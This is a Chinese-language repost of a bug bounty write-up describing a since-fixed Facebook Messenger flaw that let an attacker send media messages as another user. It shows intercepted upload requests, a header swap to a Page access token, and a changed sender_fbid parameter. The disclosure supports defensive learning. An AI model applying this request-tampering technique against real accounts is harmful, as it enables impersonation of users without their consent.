Facebook 赏金$7,500的越权漏洞

Facebook 赏金$7,500的越权漏洞

原文链接:https://bugreader.com/kbazzoun@sending-message-on-behalf-of-other-users-72

西瓜视频给出了演示视频,可以更清晰的看出渗透测试人员的具体操作

描述

攻击者可以代表Facebook Messenger上的其他用户发送媒体消息,通过在Facebook页面上设置受害者管理员/编辑/主持人,然后攻击者在向某人发送照片/视频/音频时拦截信息的请求,然后将授权标头令牌更改为“Page Token”,将sender_fbid更改为受害者(管理员ID)

前提

这可能允许恶意用户通过在其页面上设置管理员(受害者)身份来代表其他用户发送消息

漏洞复现

首先:

建立两个用户,

“Kassem Bazzoun”是攻击者

"Semi Colon” 是被攻击者

“Kassem Bazzoun”在他的页面上使用受害者“Semi Colon”的身份发送内容

Facebook 赏金$7,500的越权漏洞

拦截请求

攻击者可以在Facebook Messenger(使用Android/IOS)中发送图像/语音/视频时获取这些请求

只需关注Authorization Header 和参数 sender_fbid/to

发送Photos拦截的数据包

<code>POST /messenger_image/3e8cde28c9b2d9112e9c87af9b71fbc56528664348207412316 HTTP/1.1
Authorization: OAuth EAADo1TDZCuu8BAGLOOBcqIqRnGbSHm48FCJdMC4aWuZCrGJJLdwwKrJJt5awRGPiUXGswiwUUTAphk.........DgWUkgTUyMBUvs
original_timestamp: 1556554877552
sender_fbid: victim_id
to: receiver_id
Accept-Encoding: gzip, deflate/<code>

发送Video Request拦截的数据包

<code>POST /messenger_video/83e5ecba32f23sfd09a99f33b96529102120235284153 HTTP/1.1
X-Entity-Name: VID-20190430-WA0150.mp4
X-FB-Connection-Type: unknown
User-Agent: Dalvik/2.1.0 (Linux; U; Android 9; INE-LX1r Build/HUAWEIINE-LX1r) [FBAN/Orca-Android;FBAV/212.1.0.13.109;FBPN/com.facebook.orca;FBLC/en_US;FBBV/151534286;FBCR/;FBMF/HUAWEI;FBBD/HUAWEI;FBDV/INE-LX1r;FBSV/9;FBCA/armeabi-v7a:armeabi;FBDM/{density=3.0,width=1080,height=2128};FB_FW/1;]
Authorization: OAuth EAAGNO4a7r2wBAJJXT1VkfYFfwdf9ZCpSxfcGpfi3azopoTlEvYEZC3639cIVmKefBhvKXadoD17GMt7t3Xx.........eTfcjUHvQZDZD
media_hash: 4dc51a78fd7e39ab3369ddd3873d4d1794b499621a1bd48d867c05c1a6ce65a5
X-FB-Net-HNI: 41503
attempt_id: 6529102120248812254
send_message_by_server: 4
app_id: 256002347743983
Content-Type: application/octet-stream
offline_threading_id: 65291021202332323
X-FB-Connection-Quality: GOOD
sender_fbid : victim_id

to: receiver_id
X-FB-SIM-HNI: 41503/<code>

发送Voice Message Request拦截的数据包

<code>/messenger_audio/a174a21348fb713ab40a796e63232fs0986529693648684848294 HTTP/1.1
X-Entity-Name: USER_SCOPED_TEMP_DATA_orca-audio-1556800271887.mp4
X-FB-Connection-Type: unknown
User-Agent: Dalvik/2.1.0 (Linux; U; Android 9; INE-LX1r Build/HUAWEIINE-LX1r) [FBAN/Orca-Android;FBAV/212.1.0.13.109;FBPN/com.facebook.orca;FBLC/en_US;FBBV/151534286;FBCR/touch;FBMF/HUAWEI;FBBD/HUAWEI;FBDV/INE-LX1r;FBSV/9;FBCA/armeabi-v7a:armeabi;FBDM/{density=3.0,width=1080,height=2128};FB_FW/1;]
duration: 9811
Authorization: OAuth EAADo1TDZCuu8BANUYHkTMK4SxtTRPbqtIgIuUShTWmsHujjEVIRELxlk5eiZCnA36hSgKl9gjjFJlmuMH3KYy6DlGOhojRZCDHjBZAyMEw0gLut6V4dEFaViofLKELJENiBBjW8SmMZCRho0A6Fq9ZBKXVIuf8nGPZAywnaqjunqwZDZD
X-FB-Net-HNI: 41503
attempt_id: 6529693648683742874
sender_fbid : victim_id
to: receiver_id/<code>
Facebook 赏金$7,500的越权漏洞

Kassem(攻击者)通过从先前的 Authorization Header获取令牌并通过GRAPH API EXPLORER生成页面令牌,将请求的Authorization Header中的令牌更改为他的Page Token

developers.facebook.com

要获取页面访问令牌,请发送以下请求

<code>ACCESS_TOKEN = Token for Facebook Messenger

GET/V3.2/page_id?fields=access_token/<code>

该请求应该返回

<code>{ "access_token": "EAADo1TDZCuu8BAGLOOBcqIqRnGbSHm48FCJdMC4aWuZCrGJJLdwwKrJJt5awRGPiUXGswiwUUTAphkkZBv15yb7FNy357AcxAtjZCSrjFkL35muO3h3dZB2zlSZBOiS....." "id": "page_id" }/<code>

因此,用新的替换Authorization Token

注意:你应该为你和受害者管理的页面生成“Page Token”]

在将Authorization Header转换为Page Token之后,我能够代表页面中的任何管理员发送媒体消息,其中服务器未检查此标记是否属于管理员:)如果用户具有验证此页面中的角色(token属于此页面),并且未检查谁生成此令牌!

所以让我们现在更改参数:)

sender_fbid

表示用户是向谁发送此消息的参数(SENDER ID)

将其更改为受害者ID(管理员ID)

to

指示谁收到此消息的参数(接收者ID)

Facebook 赏金$7,500的越权漏洞

最后发送请求!

攻击

我把受害者帐户(Semi colon)的信息发给了自己!

此外,我可以将消息发送给任何其他用户,不仅仅是我自己!

想象一下,有人会从您的帐户向其他用户发送消息!

Facebook 赏金$7,500的越权漏洞

漏洞修复方案

Facebook通过阻止任何用户使用“页面访问令牌”代表任何管理员(包括您的帐户)发送邮件来修复此漏洞,因此页面访问令牌仅用于代表页面itselft发送邮件。新服务器回复:err_code“:”1545003“,”err_str“:”您无法执行该操作。


分享到:


相關文章: